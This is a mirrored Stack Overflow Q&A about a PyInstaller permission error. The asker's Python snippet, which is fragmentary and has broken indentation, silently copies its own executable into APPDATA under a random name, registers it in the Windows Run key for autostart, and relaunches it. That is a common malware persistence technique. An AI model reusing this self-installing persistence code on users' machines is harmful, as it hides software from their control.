簡體   English   中英

python Pyinstaller IOError: [Errno 13] 權限被拒絕

[英]python Pyinstaller IOError: [Errno 13] Permission denied

py2exe 運行良好,但 pyinstaller 出現此錯誤

ERROR:utils:[Errno 13] Permission denied: 'C:\\Documents and Settings\\Administrator\\Application Data\\khan\\controll123.exe'

Traceback (most recent call last):

 File "C:\Users\Philips\Desktop\filesync\filesyncbaaaaaaaaaaa\client\controll123\out00-PYZ.pyz\utils", line 94, in drop_check

  File "C:\Users\Philips\Desktop\filesync\filesyncbaaaaaaaaaaa\client\controll123\out00-PYZ.pyz\shutil", line 88, in copy

 File "C:\Users\Philips\Desktop\filesync\filesyncbaaaaaaaaaaa\client\controll123\out00-PYZ.pyz\shutil", line 53, in copyfile


IOError: [Errno 13] Permission denied: 'C:\\Documents and Settings\\Administrator\\Application Data\\khan\\controll123.exe'

這是我的代碼

    import os
import sys
from time import sleep
import random
import subprocess
import zipfile

from config import APPDATA

import shutil

import win32api, win32con
import _winreg
import logging





def register_startup(filename):
    try:
        key = _winreg.OpenKey(_winreg.HKEY_CURRENT_USER, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",0, _winreg.KEY_ALL_ACCESS)
        _winreg.SetValueEx(key, "KSSync",0, _winreg.REG_SZ, filename)
        return True
    except Exception, e:
        return False



            if not os.path.exists(APPDATA):
                os.makedirs(APPDATA)
            dest = os.path.join(APPDATA, "strong_%s.exe" % str(random.randrange(1000,9999)) )

            logger.debug("Copying %s to %s" % (sys.executable, dest) )
            shutil.copy(sys.executable, dest)
            logger.info("Installed %s to %s" % (sys.executable, dest))
            register_startup(dest)
            subprocess.Popen([dest, '--patience'])
            sys.exit(1)
            return True
            except Exception, e:
            logger.exception(e)
            return False

在啟動時注冊文件的調用這兩個函數產生錯誤 register_startup(dest) subprocess.Popen([dest, '--patience'])

是 文件存在 C:\\Documents and Settings\\Administrator\\Application Data\\khan\\controll123.exe

似乎雙背窗框是原因?

剛剛遇到這個問題,
通過在管理員模式下運行cmd解決。

我在使用 pyinstaller 時遇到了類似的問題,即使以管理員身份運行 cmd 也不起作用(個人筆記本電腦)。 對我來說什么工作是:

  1. 檢查當前用戶是否有權訪問 C:\\Program Files\\WindowsApps(不應該)
  2. 請按照以下步驟操作: https : //superuser.com/questions/498774/how-to-get-access-to-c-program-files-windowsapps (由 Matthew Wong 回答)添加 whoami
  3. 我重新啟動了我的筆記本電腦,以管理員模式啟動 cmd,cd 到正確的目錄,並且能夠讓 pyinstaller --onefile 工作

暫無
暫無

聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.

 
粵ICP備18138465號  © 2020-2024 STACKOOM.COM